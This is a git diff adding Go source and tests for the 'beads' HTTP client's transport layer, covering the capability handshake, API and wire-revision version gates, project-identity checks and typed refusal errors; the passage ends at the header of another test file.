b/internal/httpclient/wire/doc.go new file mode 100644 index 000000000..adb9d55a3 --- /dev/null +++ b/internal/httpclient/wire/doc.go @@ -0,0 +1,37 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/doc.go@49d1df2f6) +// to OSS beads under the MIT license. +// Package wire is the transport core of the `http` storage backend: one +// base-URL client that speaks the v0 surface `bd serve` publishes +// (internal/httpapi/spec/openapi.v0.yaml), and nothing else. +// +// It owns four things and deliberately owns no more: +// +// - The TRANSPORT. One request, one bounded response, JSON in and JSON out +// of the canonical types. Redirects are refused rather than followed, so a +// 30x can never replay the Authorization header to another host, and every +// response body is read under a byte cap, so a wrong URL answering with a +// tarball is an error instead of the client's whole heap. +// - The CREDENTIAL seam. CredentialProvider is the interface the activation +// layer implements; this package consumes it and implements the client +// half of the server's rotation contract — exactly one retry after one 401. +// - The PROBLEM mapping. Every non-2xx is an RFC 9457 problem+json document, +// and `code` is the only member this package dispatches on. Each code maps +// to the canonical issueops sentinel the local store would have returned +// for the same refusal, so a caller classifies a remote refusal with the +// same errors.Is/errors.As arm it already uses locally. +// - The CAPABILITY handshake. GET /v0/beads/context once per client, an +// api_version gate, a workspace-identity check, and the two-speed +// pre-flight policy: the five baseline operations dispatch straight, every +// post-baseline operation consults the cached capability list first. +// +// What it does NOT own: the storage.DoltStorage implementation, the request +// encoders that turn issueops requests into query parameters (internal/httpclient/encode; +// see engdocs/design/http-divergence-ledger.md for the full divergence +// inventory), the refusal taxonomy's user-facing text, and the default +// endpoint/credential sources. Those are separate packages that consume this +// one. +// +// The package carries no build tag: it compiles and its unit gates run in the +// default PR lane regardless of which storage backend a given `bd` build +// wires in at the command layer. +package wire diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go new file mode 100644 index 000000000..0a7f450ec --- /dev/null +++ b/internal/httpclient/wire/handshake.go @@ -0,0 +1,565 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/handshake.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "context" + "errors" + "fmt" + "net/http" + "slices" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// APIVersion is the path major this client speaks. ContextResponse.api_version +// must equal it exactly: the wire is versioned by path, so a server answering +// anything else is a server this client cannot address at all. +const APIVersion = "v0" + +// baselineOps are the five operations that dispatch WITHOUT a pre-flight. +// +// They exist in every v0 release — they are the first slice — so consulting +// capabilities before them buys nothing and costs a round trip on the hot +// work-distribution path. Their errors classify by problem code like everything +// else. +// +// claimIssue is first-slice too, but it is deliberately NOT here (ga-b8ddd.11). +// A claim is a WRITE, and the handshake carries the project-identity gate; +// exempting the claim let it land against a server whose identity no longer +// matched the workspace — a silent cross-project write. Forcing its handshake +// runs the gate before the claim, at the price of one round trip every other +// write already pays. issues.claim is first-slice on every v0 server, so the +// forced handshake never turns a working claim into a capability refusal. +var baselineOps = map[string]bool{ + OpHealth: true, + OpGetContext: true, + OpListReadyWork: true, + OpListIssues: true, + OpGetIssue: true, +} + +// opCapability is the token each operation contributes to +// ContextResponse.capabilities. The two identity operations contribute none: +// liveness and the handshake itself are not gated by the list they publish. +// +// TestCapabilityTableMatchesTheServerRouteTable proves this table set-equal +// with the server's own, so an operation added upstream cannot arrive here +// unclassified. +var opCapability = map[string]string{ + OpHealth: "", + OpGetContext: "", + OpListReadyWork: "ready.list", + OpCountReadyWork: "ready.count", + OpGetStats: "stats.get", + OpListIssues: "issues.list", + OpQueryIssues: "issues.query", + OpGetIssue: "issues.get", + OpClaimIssue: "issues.claim", + OpCloseIssue: "issues.close", + OpReopenIssue: "issues.reopen", + OpUpdateIssue: "issues.update", + OpSweepIssues: "issues.sweep", + OpDeleteIssues: "issues.delete", + OpBatchCreateIssues: "issues.batchCreate", + OpBatchCloseIssues: "issues.batchClose", + // The three operations the wire wave published while this client was being + // built. They are CLASSIFIED, not wired: the client has no accessor behind + // any of them yet, so its refusals stand — but an operation the server + // advertises and this table does not know is one the pre-flight would dial + // blind, which is the failure the set-equality gate exists to stop. The + // tokens land here in the sync that absorbs the wave; the accessors land in + // the client waves that follow. + OpClaimNextIssue: "issues.claimNext", + OpReleaseIssue: "issues.release", + OpCountIssues: "issues.count", + OpCreateIssue: "issues.create", + OpApplyBatch: "issues.batchApply", + OpCompareAndSetMetadata: "issues.casMetadata", + OpListEvents: "events.list", + OpWatchEvents: "events.watch", + OpListSettings: "config.list", + OpGetSetting: "config.get", + OpSetSetting: "config.set", + OpUnsetSetting: "config.unset", + OpListDependencies: "dependencies.list", + OpListBlockingAnnotations: "dependencies.blocking", + OpGetDependencyTree: "dependencies.tree", + OpCountDependencyEdges: "dependencies.count", + OpListRelatedIssues: "issues.related", + OpAddComment: "issues.addComment", + OpListDependencyCycles: "dependencies.cycles", + OpAddDependencies: "dependencies.add", + OpRemoveDependency: "dependencies.remove", + OpListMemories: "memories.list", + OpRememberMemory: "memories.remember", + OpGetMemory: "memories.get", + OpForgetMemory: "memories.forget", +} + +// CapProjectEnforce is the behavior capability the server advertises to announce +// per-request Bd-Project-Id enforcement, spelled exactly as httpapi's constant of +// the same name (held to it by TestProjectEnforceCapabilityMatchesTheServer). +// Unlike the per-operation tokens in opCapability it gates no route: it names a +// server-wide behavior, not an operation. The client does not consult it before +// stamping — the stamp is always sent and an older server simply ignores an +// unknown header — but it rides in the same ContextResponse.capabilities list, so +// the capability-union parity gate must account for it. +const CapProjectEnforce = "project.enforce" + +// CapListSort is the behavior capability announcing that listIssues honors +// `sort` and `reverse`, spelled exactly as httpapi's constant of the same name +// (held to it by TestTheProjectIdentityVocabularyMatchesTheServer). Like +// CapProjectEnforce it gates no route — listIssues has its own operation token +// — it names a property of that operation, so it rides here rather than on +// opCapability. +// +// Nothing in this package reads it yet: the server surface ships first and the +// client that pushes a sort down follows. It is declared now because the +// capability-union parity gate compares this client's whole vocabulary with the +// server's, so the mirror is what makes the two land together. +const CapListSort = "issues.list.sort" + +// CapBatchApplyLarge is the behavior capability announcing that issues.batchApply +// accepts a batch larger than the compiled-in floor (100 items), up to the +// raised ceiling (1000), spelled exactly as httpapi's constant of the same name +// (held to it by TestTheBatchCapVocabularyMatchesTheServer). Like CapListSort it +// names a property of an existing operation — issues.batchApply already has its +// own per-operation token in opCapability — rather than a route of its own, so +// it rides here. +// +// Preflight reads this one: a batch over 100 items refuses locally with a typed +// capability error BEFORE any network call unless the handshake snapshot +// advertises it, in which case the ceiling is 1000. The cap is never a bare +// compiled constant for that reason — it is always read off the snapshot this +// token gates. +const CapBatchApplyLarge = "issues.batchApplyLarge" + +// CapExternalDependencies is the CONDITIONAL behavior capability announcing +// that the ready, claim and close operations of this server apply bd's +// external-dependency policy themselves, spelled exactly as httpapi's constant +// of the same name (held to it by TestExternalDependencyCapabilityMatchesTheServer). +// +// It is not in behaviorCapabilities because it is not a property of the build: +// httpapi advertises it only when the serving process composed its roles through +// the policy layer, so httpapi.Capabilities() — the build-level list the parity +// gate compares against — never contains it. The store reads it to answer +// storage.ServerEnforcedPolicy, which is what decides whether this client layers +// the policy itself. +const CapExternalDependencies = "policy.external_dependencies" + +// ClientWireRevision is the wire shape this client was built to speak and +// decode, mirroring internal/httpapi/wire_revision.go's CurrentWireRevision. +// It is sent as the Bd-Wire-Revision request header on every request +// (Client.stampRequest), so a server whose own min_client_wire_revision has +// moved past it refuses with the typed wire_revision_unsupported problem +// (problem.go's WireRevisionUnsupportedError) instead of answering with a +// shape this build was never compiled to read. It doubles as the upper bound +// of the handshake gate below: nothing compiled against revision 2 can +// promise to decode revision 3. +const ClientWireRevision = 2 + +// ClientMinWireRevision is the oldest SERVER-reported wire_revision this +// client tolerates — the other half of DESIGN.txt sec 4's "Client rule": +// handshake once per Store and gate on api_version == "v0" AND wire_revision +// within [client_min, client_max]. It is 0, not 2, because a decoded 0 means +// only that the server omitted ContextResponse.wire_revision entirely: 0 and +// 1 are permanently retired values no server implementing the member will +// ever legitimately send (see that field's doc comment), and the one thing a +// server old enough to omit it can still do is answer revision/expected_version +// tokens as bare JSON integers rather than the decimal strings upstream #6053 +// standardized — a shape this package tolerates on both halves of the wire: +// problem.go's legacyRevisionFields on the error path, and +// revision_tolerance.go's serverPredatesRevisionStrings on every success-path +// response type that carries a `revision` member. There is therefore nothing +// on the low end for this client to refuse. +const ClientMinWireRevision = 0 + +// checkWireRevision applies the handshake half of the Client rule to a decoded +// ContextResponse, returning the typed skew refusal when the server's wire +// shape falls outside what this client build can speak, or nil when it is +// safe to proceed. +// +// Two independent conditions trigger it: the server's own +// min_client_wire_revision already exceeds what this client declares (so +// every request would earn the same wire_revision_unsupported 400 the +// Bd-Wire-Revision header invites — refusing here spends no round trip +// learning what the handshake already answered), or the server's own +// wire_revision is past ClientWireRevision (a future, non-additive wire +// change this build predates). A decoded wire_revision of 0 never trips the +// second check on its own: per ClientMinWireRevision's doc, that is the +// "omitted" signal, not a value above range. +func (c *Client) checkWireRevision(body apigen.ContextResponse) error { + switch { + case body.MinClientWireRevision > ClientWireRevision: + return &WireRevisionSkewError{ + ServerURL: c.base.Redacted(), + BdVersion: stripControlRunes(body.BdVersion), + ClientWireRevision: ClientWireRevision, + ServerWireRevision: body.WireRevision, + MinClientWireRevision: body.MinClientWireRevision, + } + case body.WireRevision > ClientWireRevision: + return &WireRevisionSkewError{ + ServerURL: c.base.Redacted(), + BdVersion: stripControlRunes(body.BdVersion), + ClientWireRevision: ClientWireRevision, + ServerWireRevision: body.WireRevision, + MinClientWireRevision: body.MinClientWireRevision, + } + default: + return nil + } +} + +// ErrWireRevisionSkew reports a handshake-time wire-shape mismatch this client +// cannot safely proceed past. See WireRevisionSkewError. +var ErrWireRevisionSkew = errors.New("bd serve speaks a wire revision this client does not") + +// WireRevisionSkewError is DESIGN.txt sec 4's Client rule, violated: the +// server's wire shape is outside [ClientMinWireRevision, ClientWireRevision]. +// It is raised by Handshake itself, from a 200 ContextResponse, which is what +// separates it from WireRevisionUnsupportedError (problem.go) — that one is +// the SERVER refusing a request with a 400 after reading this client's own +// declared Bd-Wire-Revision header; this one is the CLIENT declining to +// proceed after reading the server's. +type WireRevisionSkewError struct { + ServerURL string + BdVersion string + // ClientWireRevision is this build's own declared revision. + ClientWireRevision int + // ServerWireRevision is the server's ContextResponse.wire_revision, decoded + // as-is (0 means the server omitted the member; see ClientMinWireRevision). + ServerWireRevision int + // MinClientWireRevision is the server's ContextResponse.min_client_wire_revision. + MinClientWireRevision int +} + +func (e *WireRevisionSkewError) Error() string { + if e.MinClientWireRevision > e.ClientWireRevision { + return fmt.Sprintf("bd serve at %s (bd_version %s) requires a client wire revision of at least %d; this client speaks %d", + e.ServerURL, e.BdVersion, e.MinClientWireRevision, e.ClientWireRevision) + } + return fmt.Sprintf("bd serve at %s (bd_version %s) speaks wire revision %d, newer than any shape this client build knows how to decode (max %d)", + e.ServerURL, e.BdVersion, e.ServerWireRevision, e.ClientWireRevision) +} + +func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } + +// behaviorCapabilities mirrors the server's own behavior-token set (httpapi's +// behaviorCapabilities): the advertised tokens that name a server-wide behavior +// rather than an operation. TestCapabilityTableMatchesTheServerRouteTable proves +// union(opCapability tokens, this) set-equal with httpapi.Capabilities(), which is +// what makes the server change and this client change land together: the parity +// test goes red the moment one ships without the other. +var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapListSort} + +// CapabilityFor reports the capability token gating op, and whether op is on +// this client's map at all. An operation with no token — liveness, the +// handshake — reports ("", true). +func CapabilityFor(op string) (string, bool) { + token, ok := opCapability[op] + return token, ok +} + +// IsBaseline reports whether op dispatches without a capability pre-flight. +func IsBaseline(op string) bool { return baselineOps[op] } + +// Snapshot is the parsed handshake: one ContextResponse and its capability list +// indexed for lookup. +type Snapshot struct { + Context apigen.ContextResponse + caps map[string]struct{} +} + +// Has reports whether the server advertised token. +func (s *Snapshot) Has(token string) bool { + _, ok := s.caps[token] + return ok +} + +// Capabilities is the advertised token list, sorted, as a copy. +func (s *Snapshot) Capabilities() []string { + out := make([]string, 0, len(s.caps)) + for token := range s.caps { + out = append(out, token) + } + slices.Sort(out) + return out +} + +type handshakeCache struct { + mu sync.Mutex + snap *Snapshot +} + +// Health drives the liveness probe. It is the one operation served with no +// credential, and it stays 200 while the database is wedged — so a green health +// check says the process is up and nothing more. +func (c *Client) Health(ctx context.Context) error { + var out apigen.Health + return c.Do(ctx, Request{Op: OpHealth, Method: http.MethodGet, Path: PathHealth}, &out) +} + +// GetContext fetches the startup snapshot with no caching and no gates. Callers +// that want the process-wide, gated, identity-checked one want Handshake. +func (c *Client) GetContext(ctx context.Context) (apigen.ContextResponse, error) { + var out apigen.ContextResponse + err := c.Do(ctx, Request{Op: OpGetContext, Method: http.MethodGet, Path: PathContext}, &out) + return out, err +} + +// Handshake fetches the context once and caches it for the life of the client, +// applying the two gates that must not be skipped: api_version equality and, if +// the workspace recorded one, project identity. +// +// The fetch is lazy — it happens on the first post-baseline dispatch, not at +// open — so a `bd ready` against a server that serves only the baseline costs +// no extra round trip. A FAILED handshake is not cached: a server that was down +// when the first post-baseline command ran must not poison the rest of the +// process. +func (c *Client) Handshake(ctx context.Context) (*Snapshot, error) { + c.handshake.mu.Lock() + defer c.handshake.mu.Unlock() + if c.handshake.snap != nil { + return c.handshake.snap, nil + } + + body, err := c.GetContext(ctx) + if err != nil { + return nil, err + } + if body.ApiVersion != APIVersion { + return nil, &APIVersionError{ServerURL: c.base.Redacted(), Got: body.ApiVersion, Want: APIVersion} + } + // The Client rule's other half (DESIGN.txt sec 4), run right after the + // api_version gate and before the identity gate: a server this client + // cannot decode is not a server worth reporting a wrong-project diagnosis + // against either, and api_version is the coarser, cheaper check of the two. + if err := c.checkWireRevision(body); err != nil { + return nil, err + } + if c.expectID != "" && body.ProjectId != c.expectID { + // These three are server-controlled and end up in an error rendered to a + // terminal — often through a per-id write sink (bd close/reopen/update) + // that bypasses the CLI's display-layer strip — so their control runes are + // removed at construction, the same source-layer strip mapProblem applies. + // RepoRoot renders via %s (raw); Got and Database render via %q (already + // escaped), stripped too so a future Error() change cannot reintroduce the + // leak. Expected is the workspace's own pinned id, not server-controlled. + // + // repo_root is OPTIONAL on the wire, so the generated member is a pointer; + // an absent one is the empty string here, which is exactly what Error() + // already reads as "that server disclosed no root" (it omits the whole + // parenthetical when Database and RepoRoot are both empty). + return nil, &ProjectMismatchError{ + ServerURL: c.base.Redacted(), + Expected: c.expectID, + Got: stripControlRunes(body.ProjectId), + Database: stripControlRunes(body.Database), + RepoRoot: stripControlRunes(deref(body.RepoRoot)), + } + } + + caps := make(map[string]struct{}, len(body.Capabilities)) + for _, token := range body.Capabilities { + caps[token] = struct{}{} + } + c.handshake.snap = &Snapshot{Context: body, caps: caps} + return c.handshake.snap, nil +} + +// ServerContext is the handshake as the STORE's transport seam spells it: one +// gated, cached, identity-checked snapshot per process. +// +// It exists so a *Client satisfies that seam directly rather than through an +// adapter every build would have to write identically. The pointer is into the +// cache and the caller must treat it as read-only — the same rule Handshake's +// Snapshot carries, for the same reason. +func (c *Client) ServerContext(ctx context.Context) (*apigen.ContextResponse, error) { + snap, err := c.Handshake(ctx) + if err != nil { + return nil, err + } + return &snap.Context, nil +} + +// Preflight applies the two-speed policy to op, and is the call every dispatch +// site makes before building a request. +// +// A baseline operation returns immediately. Every other operation forces the +// handshake and checks its token, because an unrouted path on an older server +// answers a bare 404 that is INDISTINGUISHABLE from an entity's not_found — the +// version-skew signal would arrive spelled as "no such issue". Consulting the +// advertised list is the only way to tell the two apart, and it has to happen +// before the dial. +func (c *Client) Preflight(ctx context.Context, op string) error { + token, known := CapabilityFor(op) + if !known { + return fmt.Errorf("no such v0 operation %q", op) + } + if IsBaseline(op) || token == "" { + return nil + } + snap, err := c.Handshake(ctx) + if err != nil { + return err + } + if snap.Has(token) { + return nil + } + // BdVersion is server-controlled and reaches the case-2 taxonomy text AND a + // per-id write sink that bypasses the display-layer strip, so its control runes + // are removed at construction (Op and Capability are this client's own known + // strings; Capabilities is a token-membership set, never rendered as free text). + return &CapabilityError{ + Op: op, + Capability: token, + ServerURL: c.base.Redacted(), + BdVersion: stripControlRunes(snap.Context.BdVersion), + Capabilities: snap.Capabilities(), + } +} + +// ErrCapabilityAbsent reports that the server does not advertise the capability +// an operation needs. +var ErrCapabilityAbsent = errors.New("bd serve does not advertise the capability this operation needs") + +// CapabilityError is the typed form of that refusal. It carries what the +// refusal taxonomy's case-2 text names — the server, its version, and the +// tokens it DOES advertise — so the rendering layer parses nothing. +type CapabilityError struct { + Op string + Capability string + ServerURL string + BdVersion string + Capabilities []string +} + +func (e *CapabilityError) Error() string { + return fmt.Sprintf("bd serve at %s (bd_version %s) does not advertise capability %q, which %s requires", + e.ServerURL, e.BdVersion, e.Capability, e.Op) +} + +func (e *CapabilityError) Unwrap() error { return ErrCapabilityAbsent } + +// NewCapabilityError builds the capability-absent refusal for a behavior the +// caller checked itself, off a handshake it already holds, rather than for an +// operation Preflight checked. The server-controlled version is stripped of +// control runes the way Preflight strips it, because the refusal reaches a +// terminal through sinks that bypass the display-layer strip. +func NewCapabilityError(op, token, serverURL string, ctx *apigen.ContextResponse) *CapabilityError { + e := &CapabilityError{Op: op, Capability: token, ServerURL: serverURL} + if ctx != nil { + e.BdVersion = stripControlRunes(ctx.BdVersion) + e.Capabilities = append([]string(nil), ctx.Capabilities...) + slices.Sort(e.Capabilities) + } + return e +} + +// ErrAPIVersion reports a server on a path major this client cannot address. +var ErrAPIVersion = errors.New("bd serve speaks a different api_version") + +// APIVersionError names both versions, because neither alone tells an operator +// which side to move. +type APIVersionError struct { + ServerURL string + Got string + Want string +} + +func (e *APIVersionError) Error() string { + return fmt.Sprintf("bd serve at %s serves api_version %q; this client speaks %q", e.ServerURL, e.Got, e.Want) +} + +func (e *APIVersionError) Unwrap() error { return ErrAPIVersion } + +// ErrInvalidProjectID reports that the workspace's pinned project id is not a +// value that can be sent as the Bd-Project-Id header on every request. +var ErrInvalidProjectID = errors.New("pinned project id is not a valid header value") + +// InvalidProjectIDError is the loud refusal New raises when the pinned project id +// cannot be stamped. The id comes from the workspace's sidecar, recorded by +// `bd connect`, and it is stamped on EVERY request — so a corrupt one is caught +// once, at open, rather than skipped (which would leave the workspace unenforced) +// or deferred to a per-request transport failure. The offending value is rendered +// %q so its own bad bytes — the reason it is invalid — cannot inject into the +// error text on its way to a terminal. +type InvalidProjectIDError struct { + ServerURL string + ProjectID string +} + +func (e *InvalidProjectIDError) Error() string { + return fmt.Sprintf("the project id %q pinned for the workspace connected to bd serve at %s is not a valid %s header value; re-run bd connect to re-record the workspace's identity from its sidecar", + e.ProjectID, e.ServerURL, ProjectIDHeader) +} + +func (e *InvalidProjectIDError) Unwrap() error { return ErrInvalidProjectID } + +// ErrProjectMismatch reports that the server owns a different workspace. +var ErrProjectMismatch = errors.New("bd serve owns a different workspace") + +// ProjectMismatchRecovery is the one action that resolves a wrong-server +// mismatch: point the workspace back at the server that owns it. There is no +// local database to reconcile — bd doctor and bd bootstrap have nothing to fix +// on an http workspace — so reconnecting IS the whole recovery. It is exported +// so cmd/bd's pre-write identity check can render the same guidance the +// post-baseline read path already surfaces (design D1/D6) without restating the +// string in a second place that could drift. +const ProjectMismatchRecovery = "re-run bd connect against the server that owns this workspace" + +// ProjectMismatchError is the wrong-server diagnostic. It names both project +// ids AND the server's own database and repo root, because "the ids differ" does +// not tell an operator WHICH wrong server answered — and on a shared host that +// is the whole question. +type ProjectMismatchError struct { + ServerURL string + Expected string + Got string + Database string + RepoRoot string +} + +func (e *ProjectMismatchError) Error() string { + var b strings.Builder + fmt.Fprintf(&b, "bd serve at %s owns project %q, but this workspace expects %q", e.ServerURL, e.Got, e.Expected) + if e.Database != "" || e.RepoRoot != "" { + fmt.Fprintf(&b, " (that server serves database %q from %s)", e.Database, e.RepoRoot) + } + b.WriteString("; " + ProjectMismatchRecovery) + return b.String() +} + +func (e *ProjectMismatchError) Unwrap() error { return ErrProjectMismatch } + +// BatchTooLargeError is a locally-refused issues:batchApply plan: the item +// count exceeds issueops.MaxApplyBatchItems, the absolute ceiling every v0 +// server enforces regardless of capability (internal/httpapi's +// maxApplyBatchItems). ApplyBatch (writes.go) raises it before any network +// call — never dialing a plan this large — the same way Preflight never +// dials an operation the server has not advertised. It lives here rather +// than beside ApplyBatch because every exported method in writes.go is swept +// by TestEveryOperationMethodRoutesThroughTheSharedDispatch as an operation +// dispatch method; this type's two methods are not one. +// +// It unwraps to issueops.ErrValidation, the sentinel a server's own 400 on +// the same oversized plan would classify as, had the request been allowed to +// reach it. +type BatchTooLargeError struct { + Op string + ServerURL string + Count int + Limit int +} + +func (e *BatchTooLargeError) Error() string { + return fmt.Sprintf("%s: a plan of %d items exceeds the %d-item ceiling bd serve at %s enforces; split it into requests of %d or fewer", + e.Op, e.Count, e.Limit, e.ServerURL, e.Limit) +} + +func (e *BatchTooLargeError) Unwrap() error { return issueops.ErrValidation } diff --git a/internal/httpclient/wire/handshake_test.go b/internal/httpclient/wire/handshake_test.go new file mode 100644 index 000000000..c59231d89 --- /dev/null +++ b/internal/httpclient/wire/handshake_test.go @@ -0,0 +1,261 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wire/handshake_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package wire + +import ( + "errors" + "io" + "net/http" + "strings" + "sync" + "testing" +) + +// contextBody is a ContextResponse carrying whatever capability list the case +// needs. The other members are what a real single-workspace server publishes. +func contextBody(apiVersion, projectID string, capabilities ...string) string { + quoted := make([]string, 0, len(capabilities)) + for _, token := range capabilities { + quoted = append(quoted, `"`+token+`"`) + } + return `{"api_version":"` + apiVersion + `","backend":"dolt","bd_version":"1.1.0",` + + `"beads_dir":"/srv/repo/.beads","capabilities":[` + strings.Join(quoted, ",") + `],` + + `"database":"beads","dolt_mode":"embedded","project_id":"` + projectID + `",` + + `"repo_root":"/srv/repo","schema_version":7}` +} + +func serveContext(body string) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != PathContext { + problemJSON(w, http.StatusNotFound, `{"status":404,"code":"not_found"}`) + return + } + _, _ = io.WriteString(w, body) + } +} + +func TestGetContextDecodesTheWholeSnapshot(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", "issues.list", "issues.get"))) + got, err := c.GetContext(ctx(t)) + if err != nil { + t.Fatalf("GetContext: %v", err) + } + if got.ApiVersion != "v0" || got.ProjectId != "proj-1" || got.BdVersion != "1.1.0" { + t.Errorf("decoded %+v", got) + } + if got.Database != "beads" || deref(got.RepoRoot) != "/srv/repo" || got.SchemaVersion != 7 { + t.Errorf("diagnostic members did not decode: %+v", got) + } + if len(got.Capabilities) != 2 { + t.Errorf("capabilities = %v", got.Capabilities) + } +} + +func TestTheHandshakeIsFetchedOncePerClient(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", "issues.list"))) + for range 3 { + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } + } + if rec.count() != 1 { + t.Errorf("made %d context fetches, want 1", rec.count()) + } +} + +func TestConcurrentHandshakesStillFetchOnce(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", "issues.list"))) + var wg sync.WaitGroup + for range 8 { + wg.Add(1) + go func() { + defer wg.Done() + if _, err := c.Handshake(ctx(t)); err != nil { + t.Errorf("Handshake: %v", err) + } + }() + } + wg.Wait() + if rec.count() != 1 { + t.Errorf("made %d context fetches, want 1", rec.count()) + } +} + +func TestAFailedHandshakeIsNotCached(t *testing.T) { + // A server that was down when the first post-baseline command ran must not + // poison the rest of the process. + var attempts int + c, _ := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, _ *http.Request) { + attempts++ + if attempts == 1 { + problemJSON(w, 503, `{"status":503,"code":"db_unavailable"}`) + return + } + _, _ = io.WriteString(w, contextBody("v0", "proj-1", "issues.list")) + }) + if _, err := c.Handshake(ctx(t)); !errors.Is(err, ErrDBUnavailable) { + t.Fatalf("err = %v, want ErrDBUnavailable", err) + } + snap, err := c.Handshake(ctx(t)) + if err != nil { + t.Fatalf("second Handshake: %v", err) + } + if !snap.Has("issues.list") { + t.Error("the recovered handshake carries no capabilities") + } +} + +func TestTheAPIVersionIsGated(t *testing.T) { + // The wire is versioned by path, so a server on another major is a server + // this client cannot address at all — not one it can degrade against. + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v1", "proj-1", "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrAPIVersion) { + t.Fatalf("err = %v, want ErrAPIVersion", err) + } + // Neither version alone tells an operator which side to move. + msg := err.Error() + if !strings.Contains(msg, `"v1"`) || !strings.Contains(msg, `"v0"`) { + t.Errorf("Error() = %q, want both versions named", msg) + } +} + +func TestWorkspaceIdentityIsCheckedAtTheHandshake(t *testing.T) { + t.Run("a match passes", func(t *testing.T) { + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, + serveContext(contextBody("v0", "proj-1", "issues.list"))) + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } + }) + + t.Run("no recorded identity skips the check", func(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "somebody-else", "issues.list"))) + if _, err := c.Handshake(ctx(t)); err != nil { + t.Fatalf("Handshake: %v", err) + } + }) + + t.Run("a mismatch names which wrong server answered", func(t *testing.T) { + c, _ := newTestClient(t, Options{ExpectProjectID: "proj-1"}, nil, + serveContext(contextBody("v0", "proj-2", "issues.list"))) + _, err := c.Handshake(ctx(t)) + if !errors.Is(err, ErrProjectMismatch) { + t.Fatalf("err = %v, want ErrProjectMismatch", err) + } + // "The ids differ" does not say WHICH wrong server answered, and on a + // shared host that is the whole question. + msg := err.Error() + for _, want := range []string{"proj-1", "proj-2", "beads", "/srv/repo", "bd connect"} { + if !strings.Contains(msg, want) { + t.Errorf("Error() = %q, want %q in it", msg, want) + } + } + }) +} + +func TestBaselineOperationsPreflightWithoutDialing(t *testing.T) { + // The five baseline operations exist in every v0 release, so the extra + // round trip on the hot work-distribution path buys nothing. claimIssue is + // first-slice too but is no longer exempt — it is a write and forces the + // identity handshake (ga-b8ddd.11) — so it is not in this set. + c, rec := newTestClient(t, Options{}, nil, func(http.ResponseWriter, *http.Request) { + t.Error("a baseline pre-flight dialed the server") + }) + for _, op := range []string{OpHealth, OpGetContext, OpListReadyWork, OpListIssues, OpGetIssue} { + if !IsBaseline(op) { + t.Errorf("%s is not classified baseline", op) + } + if err := c.Preflight(ctx(t), op); err != nil { + t.Errorf("Preflight(%s): %v", op, err) + } + } + if rec.count() != 0 { + t.Errorf("made %d requests, want 0", rec.count()) + } +} + +func TestPostBaselineOperationsConsultTheCapabilityListBeforeDialing(t *testing.T) { + // An unrouted path on an older server answers a bare 404 that is + // indistinguishable from an entity's not_found, so the skew signal would + // arrive spelled as "no such issue". The list is the only way to tell. + all := make([]string, 0, len(opCapability)) + for op := range opCapability { + if !IsBaseline(op) { + all = append(all, op) + } + } + served := make([]string, 0, len(all)) + for _, op := range all { + token, _ := CapabilityFor(op) + served = append(served, token) + } + + c, rec := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1", served...))) + for _, op := range all { + if err := c.Preflight(ctx(t), op); err != nil { + t.Errorf("Preflight(%s): %v", op, err) + } + } + if rec.count() != 1 { + t.Errorf("made %d context fetches for %d operations, want 1", rec.count(), len(all)) + } +} + +func TestAnAbsentCapabilityRefusesWithWhatTheTaxonomyNeeds(t *testing.T) { + // Taxonomy case 2: a mapped command against an older server. Everything the + // rendered text names travels on the typed error, so the render layer parses + // nothing. + c, _ := newTestClient(t, Options{}, nil, + serveContext(contextBody("v0", "proj-1", "issues.list", "issues.get", "ready.list"))) + + err := c.Preflight(ctx(t), OpAddDependencies) + if !errors.Is(err, ErrCapabilityAbsent) { + t.Fatalf("err = %v, want ErrCapabilityAbsent", err) + } + var absent *CapabilityError + if !errors.As(err, &absent) { + t.Fatalf("err is %T, want *CapabilityError", err) + } + if absent.Capability != "dependencies.add" || absent.Op != OpAddDependencies { + t.Errorf("refusal = %+v", absent) + } + if absent.BdVersion != "1.1.0" { + t.Errorf("BdVersion = %q", absent.BdVersion) + } + want := []string{"issues.get", "issues.list", "ready.list"} + if len(absent.Capabilities) != len(want) { + t.Fatalf("Capabilities = %v, want %v", absent.Capabilities, want) + } + for i, token := range want { + // Sorted, so the refusal text is stable enough to byte-pin upstream. + if absent.Capabilities[i] != token { + t.Errorf("Capabilities = %v, want %v", absent.Capabilities, want) + } + } +} + +func TestPreflightRefusesAnOperationThisClientDoesNotKnow(t *testing.T) { + c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1"))) + if err := c.Preflight(ctx(t), "teleportIssue"); err == nil { + t.Error("an operation off the map pre-flighted clean") + } + if _, known := CapabilityFor("teleportIssue"); known { + t.Error("CapabilityFor reported an unknown operation as known") + } +} + +func TestHealthIsTheLivenessProbe(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != PathHealth { + t.Errorf("health dialed %q", r.URL.Path) + } + _, _ = io.WriteString(w, `{"status":"ok"}`) + }) + if err := c.Health(ctx(t)); err != nil { + t.Fatalf("Health: %v", err) + } + if rec.count() != 1 { + t.Errorf("made %d requests, want 1", rec.count()) + } +} diff --git a/internal/httpclient/wire/handshake_wire_revision_test.go 